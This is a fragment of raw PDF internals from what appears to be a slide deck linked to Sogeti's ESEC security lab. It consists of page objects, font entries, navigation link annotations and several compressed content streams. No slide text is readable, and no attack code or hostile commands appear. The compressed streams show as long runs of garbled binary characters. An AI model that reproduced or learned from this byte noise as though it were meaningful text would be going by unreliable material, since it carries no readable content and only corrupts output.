(Navigation1) >> >> endobj 742 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm8 169 0 R /Fm9 170 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 743 0 obj << /Type /Page /Contents 744 0 R /Resources 742 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 712 0 R /Annots [ 714 0 R 715 0 R 716 0 R 717 0 R 718 0 R 719 0 R 720 0 R 721 0 R 722 0 R 723 0 R 724 0 R 725 0 R 726 0 R 727 0 R 728 0 R 729 0 R 730 0 R 731 0 R 732 0 R 733 0 R 734 0 R 735 0 R 736 0 R 737 0 R 738 0 R 739 0 R 740 0 R 741 0 R ] /AA << /O << /S /GoTo /D [ 776 0 R /Fit ] >> >> >> endobj 744 0 obj << /Length 2024 /Filter /FlateDecode >>stream xYYo7~ׯ`_`ѼG@cCj,[s ݕvbq ,.r曃CV3&؋h%K^L9ťlYLnyy&ZhƱ% 2tƅ,pK ^qޑ#+YT;Z;^FIV{Ú[alE@ J}{GШdJkC<7%msr;!|>0\se8!8!lL$ ^!Z0/ bl`p̄<úHQM;cy%(&|Ev.c(gZ[|0-_ b dohrRT}$ey g3! K0]Isޤ%=GApHB/N 2{U's$A[>/Ѿ'Uۮ `4x8pKٕwp]|<`yNk lə, H E Xoa5WHQ^".UC+'}I_bdR#h^2{,*x dmTJ.@0)aRnT T#JIm[ lѭ ZylP5Ňj,bVM 4ԕtOi7kHY; oU綔&55kl* j̒]E|cj={Fʑ.;ACGr]6=,`ӈ \Fr;wmS pH;opHZwsk5N ],`HEX̂od*~pÑ (Hw}ߦ8G:R(ǮW2LÿO^> lT%k#5p/* ==o\-n.o`wl)g1z+p!O`Q%4܅D$0+쫞k xbG ME6V_A+>wPjyQR~V3WCp8a**p7M4[S NRξg.6"2 Rr[yV.ּ9. C_-&<؟$*fS:ˀ]/iLO2$8"[3Z 3cj^lp:*Xk(AI8re<rHAgGR<RtthnF >_ iWKij׻`K QQb~Aag^i !@nL1ޒbcLͱ(L-{vjL}o1Ddc:Wrl195ṃjq,fUdu ,eˣw4#%y~(yu_.Q z?3b""('91iVqjq#c觶 AiP,s`.OZ a)DXA/"1$Yi~A3'Xti0l68o$ºu9]$򪦽0X)gV \jcYl?es7g6xAjnv֌\}.bq/##YGqF7Iێom-bQsH>迩fu1({j$ k1Vݔ.Oȋvs*_t:/Jr!$2>OӱԿ';ӹlrGY#}98>`a%a/)Uî?Fz|k=7 ~ݺf[Zp= a endstream endobj 745 0 obj << /D [ 743 0 R /XYZ 334.488 1.245 null ] >> endobj 746 0 obj << /D [ 776 0 R /XYZ 334.488 1.245 null ] >> endobj 747 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 748 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 749 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 750 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 751 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 752 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 753 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 754 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 755 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 756 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 757 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 758 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 759 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 760 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 761 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 762 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 763 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 764 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 765 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 766 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 767 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 768 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 769 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 770 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 771 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 772 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 773 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 774 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 775 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F69 778 0 R /F13 779 0 R /F10 780 0 R /F15 155 0 R /F53 154 0 R /F14 592 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm16 494 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm17 495 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 776 0 obj << /Type /Page /Contents 777 0 R /Resources 775 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 712 0 R /Annots [ 747 0 R 748 0 R 749 0 R 750 0 R 751 0 R 752 0 R 753 0 R 754 0 R 755 0 R 756 0 R 757 0 R 758 0 R 759 0 R 760 0 R 761 0 R 762 0 R 763 0 R 764 0 R 765 0 R 766 0 R 767 0 R 768 0 R 769 0 R 770 0 R 771 0 R 772 0 R 773 0 R 774 0 R ] /AA << /O << /S /GoTo /D [ 811 0 R /Fit ] >> >> >> endobj 777 0 obj << /Length 3703 /Filter /FlateDecode >>stream x\[sܶ~ׯ`_դq#.S_ZO<%w3j-kFkŒ4\rIJK(I\sW^UUJɜj*i%T7۝F{_º3'pUh[G'\FUzǛ@t 1Ix 7(eY|% RTӿomzp#[ >9AbwJ11P7VDWHyTTH1icReLЍ(,~d ̈o-(2%JIz xNWPsnŢ˖ eBM}IżX_9d ",^;s*=0J5̴}d`@ 0Zxp} WuAXu[aj0'ГDxe1 }dD ̼hiՑ4)+Ado)"cWkdjv{0ywCA]huByw4&ho8_!~: } Dg!Pgט#Scr8H"?g$\L3mJi)C\2nQ l e8x i0Nf4@T} <7ǹx+L 0tpJ:N~L mI ZEvZdml0zyaCYUj7'2͸q,ǠgAWlbh5`s dKU( (vjKۨ]AuuvJ3g1LV#}N).^^һBktT+р,` 8DwuQ!q5fbSatôc !!suhjvf ^>Dv0[bx0C8*Ldb!O=1ڵq2`%k%D7X|O_1w4ockF/NǽKZ"|¨wi$e o#p8kh opA09Є4Kٓs&]tS3de_V'Q-|O\i4ke $3M k^0(KۗWiܴj$Aƕw͗Qfji&=@ ik`Jdq) $.= ߅@N'TȯI2]÷40CO~4`@*=Z@ZJI>0 ku 4? &m6{RH R@ڸΗqR2jՌO? )8w%߫񀴸QwUa8aj92ڹ!ŐJ>rL!'As7/ti2'8ciwεOdˇc:e,xq),z=H9`Y{4s1[ Ue;3kSylPfJ'WvPCܳdr1]Dbdpұjul5ѐSZ/^R(/b,de^DX-$}N{7t\۴-F0\jF2n${^?l[{v<`i}D Vs܄ڀ?qc-GоJZ߆'hK}ɫ:3黶@0 鸔'i{]))AU#PB 4X|C=\YXQ--7wpwwKgPǡmo.~)(8;M!S ;!`ģ&nEN#a0N{Hlhr7ڙ&0ՈjW[bEc#|\zWh&xab§ ~ d<IO.4U# d=ch0:|Y'uK@c >.ϷDTܣOYt32q w3VDpi$eNw%ǷO8m^\p__V1ʼn<ϫ;yēQ*)_ǯ񄒌<<ң;"(ݿy-IGĝmfF<.yEeԓhl!Sk4}ǜAjm3|3C)gR.kU_'^7YǙӴ)\AL6}Kny_\'1 ׅ1p6/VFM{-:R„!돒AOIt\8{ cG'r m<3 }sb ǩ$iK,W֯|ZI"dEW[הu|O(||`A=H\S|!dL#Wp I endstream endobj 778 0 obj << /Type /Font /Subtype /Type1 /BaseFont /PMVACP+CMTT8 /FontDescriptor 1285 0 R /FirstChar 34 /LastChar 125 /Widths 1245 0 R >> endobj 779 0 obj << /Type /Font /Subtype /Type1 /BaseFont /UKRHQQ+CMSY7 /FontDescriptor 1279 0 R /FirstChar 39 /LastChar 39 /Widths 1244 0 R >> endobj 780 0 obj << /Type /Font /Subtype /Type1 /BaseFont /SRDPYF+CMMI7 /FontDescriptor 1259 0 R /FirstChar 59 /LastChar 59 /Widths 1243 0 R >> endobj 781 0 obj << /D [ 776 0 R /XYZ 334.488 1.245 null ] >> endobj 782 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 783 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 784 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 785 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 786 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 787 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 788 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 789 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 790 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 791 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 792 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 793 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 794 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 795 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 796 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 797 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 798 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 799 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 800 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 801 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 802 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 803 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 804 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 805 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 806 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 807 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 808 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 809 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 810 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F59 813 0 R /F56 205 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 811 0 obj << /Type /Page /Contents 812 0 R /Resources 810 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 712 0 R /Annots [ 782 0 R 783 0 R 784 0 R 785 0 R 786 0 R 787 0 R 788 0 R 789 0 R 790 0 R 791 0 R 792 0 R 793 0 R 794 0 R 795 0 R 796 0 R 797 0 R 798 0 R 799 0 R 800 0 R 801 0 R 802 0 R 803 0 R 804 0 R 805 0 R 806 0 R 807 0 R 808 0 R 809 0 R ] /AA << /O << /S /GoTo /D [ 850 0 R /Fit ] >> >> >> endobj 812 0 obj << /Length 2593 /Filter /FlateDecode >>stream xr@.k*mTq!:hVDJt<,b.@LgY1+Xq~¶wa4rRŠ SҳܺUK)QX𞡋onqm %T7899m҂^"Uzw6.~:@l]ni7 ̧8_W^ME| M;kgMH]pHR(e vH\Ɉ~ ն6atFf8T{[7SN$Hq]#|gE. R~z&]䜯@K7`4 L^6G8E?aꄾ69EcTPg~\qNȤqEn!6yێl@^*-BrNYcXQ9 ~[ }n^%02DU x{/l)le!ঔF6S;jQ/ _(cmxF`^pW$, #va?-`.3$%RAv ]Wlu ḇ`D-&''d;ZqUNPHG j뻯(t9 (8UIyHP{J:$).Cz:เ ^')u ( $SrE[*zց^yӏp2* ӦTzfuk!"f%Eל𥎩%/q_~k&1#D6nl[A2#j+P(m!=4:{lk 90G͂^כo$J CLKKbq R;tiD^0+1' Ci-\cs·I 13_LeZ~K=đ.F.a[ZT$2@c5ze8rD~4.{r0 C e?&dtaP܃^SG2d.ٝ-ھrwaH"`Kj>zZ:F[I0졧{[ V3їHOEsyPOyP>O,q 嚀ơ1J2<B Nx O|}cvzQ(c]YPk *Uq%IFA"rLnkF}oIi >&7&Xmޒ,C>ґҩ:>ov %%zp"%,M["i*bMy1j "w_֩Bcy~X*aMcipIOf;p 96(g r9m|!nGc\,danKQvW9M8㮫(ޕ8ḛX7aj6R6܉VSn&$ɿoB]C$k{ۉ_"bM~+JH MԲrVjY 6>ߞ&'yEJi & _M;!qmݱ]ۆr7&"M%mۆ:s/VssE?ѭ6*w.*^U?+?o¥ݦFIEmk& ]a]dN7x^^ ?1AT9O!\fSy#"61fRasTq:{ endstream endobj 813 0 obj << /Type /Font /Subtype /Type1 /BaseFont /HJLAUA+CMSY9 /FontDescriptor 1281 0 R /FirstChar 41 /LastChar 41 /Widths 1242 0 R >> endobj 814 0 obj << /D [ 811 0 R /XYZ 334.488 1.245 null ] >> endobj 815 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 173.47 167.034 185.473 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 816 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 147.129 151.749 158.574 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 817 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 122.163 101.969 131.675 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 818 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 110.207 109.959 119.024 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 819 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 96.32 182.187 107.069 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 820 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 69.42 253.638 80.865 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 821 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 822 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 823 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 824 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 825 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 826 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 827 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 828 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 829 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 830 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 831 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 832 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 833 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 834 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 835 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 836 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 837 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 838 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 839 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 840 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 841 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 842 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 843 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 844 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 845 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 846 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 847 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 848 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 849 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm20 641 0 R /Fm8 169 0 R /Im7 118 